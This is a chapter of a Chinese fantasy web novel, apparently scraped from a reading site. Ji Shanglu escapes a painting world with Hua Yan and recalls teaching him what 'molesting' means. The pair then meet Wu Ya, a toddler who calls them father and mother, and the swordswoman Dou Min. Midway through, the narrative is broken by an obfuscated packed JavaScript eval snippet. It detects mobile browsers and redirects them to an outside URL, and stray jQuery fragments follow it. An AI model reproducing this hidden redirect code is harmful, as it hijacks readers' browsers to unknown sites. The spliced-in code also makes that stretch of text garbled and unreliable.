默认冷灰
24号文字
方正启体

29. 碰面

作者:竹下茶碗本书字数:K更新时间:
    烛光在跃动,在石壁上投落下微微摇曳的光影,也将人的影子拉得细长而扭曲。算算时间,药效时间快过去了,纪商陆附身逼近冠羽,盯着她的眼睛道:“我要出画像世界,开门。”


    “吐真言”不仅能让人说真话,还有一个功效,就是能让中药者听令行事,不过,只能使用一次。


    不然这东西可就太逆天了。


    只见冠羽眼中闪过一道白光,瞳孔骤缩。她僵硬地抬起手,接着,宽大的袖袍一扬,一道人形鸟翅的图像倏忽浮现在墙壁上。


    纪商陆一凝神,并掌,迅速出手往她脖子上一砍。冠羽甚至来不及发出闷哼,便软绵绵地倒在了石床上。


    “未免……太顺利了。”纪商陆甩了甩有些麻的手,心底升出一丝异样。转身,却见花烟不知何时已现出身形,侧站在那石桌旁。


    烛光下,他半掀开那张丑的出奇的面具,露出小半张白玉似的的下巴,双手捧着酒杯浅酌,唇边残留的酒渍在烛火下泛着细碎的光芒。


    他的眼睛仍被面具遮掩着,纪商陆没叫他取下来,他便不会摘下。虽眼睛看不见,但他却能精准地感知她的方向,重新倒了一杯酒,微微偏头,嗓音温软得如春月抽枝的嫩柳:“少主,要尝尝吗?”


    纪商陆眯了眯眼,怪了,这小子明明画着这么丑的妆,可这半遮半掩的,反倒透出几分说不清道不明的……勾人?


    甩了甩头,这才回味过来——好家伙,他竟然还喝上了!


    瞥了眼他手中的酒杯,里面清澈的酒液泛着诱人的光泽。好酒是用来品鉴的,就该赏花对月,眼下她没这个心思。“算了吧。”


    花烟闻言,点点头,修长的手指轻轻摩挲着杯沿,有些可惜的样子:“这桃花醉果然名不虚传,入口清甜,回味悠长……难怪少主特意去寻来,都没舍得喝……”


    纪商陆的视线从酒杯缓缓上移,落到他脸上的面具。


    不对劲。


    很不对劲。


    这小子现在是……诱惑她喝酒的意思?


    她鬼使神差地走近,伸手,一把扯下他的面具。


    熟悉的眉眼在烛光下无所遁形。


    “少主?”花烟眨了眨眼,长睫投下的阴影恰到好处地遮掩了眼底的狡黠。


    “哦,这面具丑到我了。”纪商陆轻咳一声,将手中的面具随手丢进乾坤袋里,顺势夺过他手中的酒杯,“算了,尝一口也无妨。”


    她仰头饮尽,酒顺着咽喉滑入胃中,清凉甘洌,花香四溢,说不出的舒爽。


    见她喝下,花烟眼底又闪过一丝笑意,唇角微不可查地上扬。但想起什么,又暗了下去。


    “走啦。去找他们。”纪商陆放下酒杯,正要迈步,却见花烟要收拾酒坛。


    “不用收了,留给她解渴。”纪商陆瞥了瞥床上躺着、呼呼大睡的妖。倒不是可怜她。这妖吃人害命,被镇压在这,都是她应得的。


    只是,她这人最喜逍遥自在,故也见不得囚笼困兽。一坛酒而已,给了就给了,大不了她下次再去那老酒鬼手里再讨一坛。花烟闻言,目光瞥过冠羽,点头跟在身后。


    出了“门”,烛光被隔绝在身后,眼前只有泼墨般的黑暗。洞窟高大而空旷,偶尔有绿色妖火亮起,但飘忽不定,时而聚拢,时而分散,忽明忽灭间,仿佛是暗中窥伺而眨动的眼睛。


    花烟掌心微动,四周便亮堂了起来。


    也不知为何,这些会“吃人”画像此刻竟然出奇的安静。画中人物面容凝固在墙壁上,四周也不再发出令人毛骨悚然的低语。


    静得只有两人的呼吸声和脚步声在洞窟里回荡。


    花烟的嘴唇轻轻开合了几次,似是有话要说,但是又硬生生咽了回去。纪商陆能感觉到他的视线在自己身上游移,可她等了半天也不见他开口。


    她干脆抱臂而立,挑眉道:“憋着不难受?”


    花烟抿了抿唇,这个动作让他看起来像个做错了事的孩子。半晌,他才幽幽道:“方才……她轻薄少主。”


    尾音里藏着几分咬牙切齿的意味。


    回想起来,还是很可恨。就该把她掀出去。


    纪商陆:“……”他怎么还记着?


    “那也不算吧。”她故作轻松地摆摆手,试图轻描淡写地带过。心里想着横竖她也是女子,再说了,被妖强吻的事,讨论下去她面子还要不要。


    “如何不算?少主从前说过……未经允许触碰就是轻薄。”他顿了顿,喉结滚动,声音轻了下来,“况且她还是用的……”


    唇。


    这个字在舌尖上滚了又滚,终究是没有说出口。


    纪商陆一噎。


    他眼底明晃晃写着:你教我的。


    ……这好像,还真是她教的。


    突然想起多年前那个让她火冒三丈的午后。


    彼时,她新得来一本号称“风流浪子配佳人”的话本子,兴致冲冲地翻开:


    开篇就是个油头粉面的“浪子”小厮,仗着几分姿色在府中招蜂引蝶,明里暗里不知轻薄了多少女侍。那些女侍碍于颜面,也不知如何反抗,竟任由他胡来,其行事越发大胆猖狂。


    “……”


    初看,如鲠在喉。她捏着书页的指尖微微发白。


    再往后翻,这登徒子瞧上府中大小姐,见其风姿绰约,才情过人,动了不该有的心思,竟在青天白日,公然轻薄了小姐。更可恨的是,那小姐的爹不顾女儿的意愿,将她许配给了这登徒子,万贯家产尽数落入他手中,从此野鸡攀上凤凰枝,一朝飞了天……


    啪!


    书被纪商陆狠狠丢出去。


    什么浪子?分明是个登徒子!


    哪个杀千刀编出来的本子,生生把一坨牛粪喂进她嘴里!简直岂有此理!!!


    气得她几日都消不了火。后来拉着花烟,在纪府各个角落里蹲守,非要看看府里,不是也藏了什么腌臜的登徒子。


    “少主,什么是轻薄?什么是登徒子?”


    花烟问她时,她正蹲在地上,目不转睛,死死盯着来往的男侍女侍们,闻言头也不回,冷笑道:“不经过别人的允许对别人动手动脚,就是轻薄!至于登徒子?呵,就是轻薄别人的猪!”


    “若是让我逮着……”


    “砍手?杀了?”花烟学着她的样子,叉着手蹲在她身旁。


    他说话的时候,侧头看着她,一脸认真,像谁家个听话好问的乖孩子。


    “自然是——”


    纪商陆回头,对上他那双干净的眼睛,把滚到嘴边的话硬生生咽了下去。扭曲着一张脸,最后阴森森地挤出一句:“不,砸晕了绑去沉塘。”


    花烟煞有其事地点点头,像是把话牢牢记住了。


    不得了,所以他方才是举着石凳,要把那冠羽砸晕了?


    所以这算不算是……得了她的真传?


    纪商陆张了张嘴,有点想笑,这家伙果然是个缺心眼的,傻的可爱。


    罢了罢了,话都是她教的。


    她正要说些什么,一道亮影裹挟着风声划破黑暗。


    剑鸣清越,悬停在她面前。剑身长细而锋利,还泛着白光,一副威风凛凛的样子。


    万喜剑!


    剑身微微振鸣,一丝神魂与剑脱离钻入她眉心。


    纪商陆有些惊讶,她不是让它去保护邬崖他们了吗?它在这里,说明……


    “纪仙官!”


    远处拐角转出几道人影。其中打头、开口的那个,身子不高,穿着白衣,脖子缠着黑丝巾,怀里抱着个粉雕玉琢的小孩。身后一个,蓝色衣裙,半边身子隐匿在黑暗中。


    还真是说曹操曹操到。


    那白衣黑巾不是邬崖又是谁?


    “纪仙官,终于找到你们了!”邬崖三步并作两步飞奔了过来,两眼似饱含热泪,白衣皱巴且灰扑,像是逃难过来的。


    语气倒是热络得很。花烟不动声色地往前挪了半步,像堵墙似地立在纪商陆身旁。


    邬崖冲到近前,猛地刹住脚步,瞪圆了眼睛。走近了才发现——这俩人都穿着大红的喜袍……


    他目光在两人之间来回游移,面上霎时精彩纷呈:喜服?!这对吗?就算是要拜堂成亲,也不必这么急吧,这可是妖怪巢诶……


    “是你啊。”纪商陆瞥了他一眼,不知道他的小心思,注意力全在他怀里的小孩身上。


    这小孩约莫两三岁的模样,生得玉雪可爱,白白嫩嫩,一双圆溜溜的大眼睛丝毫不怕生,正好奇地望着他们。


    真就长这么大了?饶是先前便听邬崖说过,眼下真见到了,还是有些诧异。她记得刚见他的时候,才不过一个皱巴的丑婴儿。


    她暗暗点头:果然不是个普通的小孩儿,大有来头。


    路路通歪着小脑袋,想起邬崖曾经和说过的话。瘪瘪嘴纠结了一会儿,接着眼睛一亮,伸出胖乎乎的小手,指着纪商陆,小嘴一张脆生生唤道:“小爹!”


    还不待众人反应,又手一转,指向花烟:“小娘!”叫完还煞有其事点点头,对自己很是满意,转头望向邬崖,像是在等待表扬


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15560937|166237||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    。


    ???


    坏了。邬崖心里一咯噔,手一抖差点把路路通给摔出去,稳住后,手脚极快地将他放到地上,往后退了几步。


    心里叫苦不迭:我先前就是嘴贱而已,你小子怎么还真叫出来了!先前我还说过小哥呢,你怎么不叫个小哥?还用手指?枉我好心好意养着你,怕暴露你身份还抱你,你居然害我!


    果然,纪商陆先是一愣,“谁是你小爹?”继而回过神来,眯着眼睛望向邬崖,声音凉飕飕的:“你都教了他些什么?”


    他头立刻摇成拨浪鼓:“不不不,天地良心!我什么都没教!”


    路路通刚被放到地上,立刻迈着小短腿上前扑向纪商陆。她低头一看,正对上他那双亮晶晶的眼睛,小家伙仰着头,脸蛋白白嫩嫩,笑得格外灿烂,嘴角挂着可疑的口水印。


    她是小爹?花烟是小娘?也不知道这小家伙怎么认的亲。


    “……”沉默了片刻后,她抓起他的后衣领,提猫崽似地把人塞进一旁的花烟怀里:“叫你呢,小娘。”尾音上扬,语气里带着几分促狭。


    不过人是花烟捡的,从某种程度上来说,他这么叫好像也没错。


    花烟猝不及防但下意识就接了个满怀。这动作他做的格外娴熟,以往纪商陆见到什么可爱、喜欢的东西,最后都会以这个姿势出现在他怀里。


    他家少主啊,就喜欢乖巧可爱无害的。


    花烟轻笑一声,点点头,将路路通稳稳抱在臂弯里。小家伙出奇地配和,乖乖坐着。


    “纪仙官。”


    一阵清越的声音从身后传来。很是突兀。


    众人望去,这才发现不知何时,一位蓝裙少女已静立在他们身后。


    窦悯薄唇微抿,周身萦绕着疏离的气息。


    “哎呀!瞧我这记性。”邬崖突然一拍脑门,这位窦仙官性子冷淡,实在是不太爱说话。说来也怪,明明是个活生生的人,却总是让人不自觉地忽略她的存在,仿佛她身上带着什么隐匿气息的术法似的。“忘记介绍了,这位就是窦……”


    “我认得。”纪商陆眸光微动,“紫华仙君第四位弟子。”


    原来她叫窦悯。


    紫林宗紫华仙君座下有六位弟子,大弟子苏怜天资卓绝,与北月山凌清风并称“南苏北凌”,其他弟子也是名号响亮,唯独这四弟子,鲜少有人提及。


    仙门大会上,纪商陆曾见过她几面。在一众衣着华贵、高谈阔论的仙门子弟中,她总是独自静立,像是立在悬崖边上的一颗孤松。身后背着一把通体玄黑的巨剑。那剑看着有她人那么高,宽厚的剑身在阳光下泛着冷冽的光。


    修仙之人对自己的佩剑颇为讲究,多爱轻巧锋利的灵剑,而她却是选了这么一把古朴厚重的巨剑,所以对她颇有印象。


    窦悯闻言一怔,琥珀色的眸子里闪过一丝讶异。她向来如影子一般淹没在众人之中,世人提起紫华仙君弟子,多半只道前几位如何天资卓绝,连入门最晚的小师妹,也是因娇俏可人而备受瞩目。而对她——印象最多不过是个“背着怪剑的弟子”。


    没想到有人会记得自己。


    她抬眸,目光落在纪商陆身上。


    江黎仙君独子,纪家声名远扬、令仙门头疼的混世魔王。


    她出席仙门大会三次,也曾见过他三次。几乎他每一次出现,都是全场焦点——次次把大会闹得鸡飞狗跳。


    第一次,他顶着一头参差不齐、垂肩短发,出现在一众束发冠带的仙门子弟中,显得格格不入,都说身体发肤受之父母,引得众人议论纷纷。他却好似不在意,笑得肆意张扬,困了就直接往席间一倒,酣然大睡,仿佛世间的规矩都入不了他的眼。


    第二次,他和望仙谷那位也不知因何起了争执,竟当众动起手来,招招狠辣,若非掌会的仙官及时出手,也不知道会发生什么。那日他衣诀翻飞间露出的狠厉眼神,令在场众人心头一凛。


    第三次,他竟直接穿着一袭火红罗裙赴会,红衣猎猎生风,比在场的女仙官还要明艳夺目,被众人斥责荒唐,说他身为男子却着女装,有违礼法,他扬眉一笑,嗓音清朗中带着毫不掩饰的桀骜:


    “一群老古板,男的怎么了?”


    “要不是天意弄人……这男身我还真不稀罕!”


    当真是惊世骇俗,印象深刻。但他们从来没有过交集。


    如今,是第四回。


    窦悯微微颔首:“久仰。”


    “先前没说完,现在想请教窦仙官一句,为何会在镇妖塔?”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)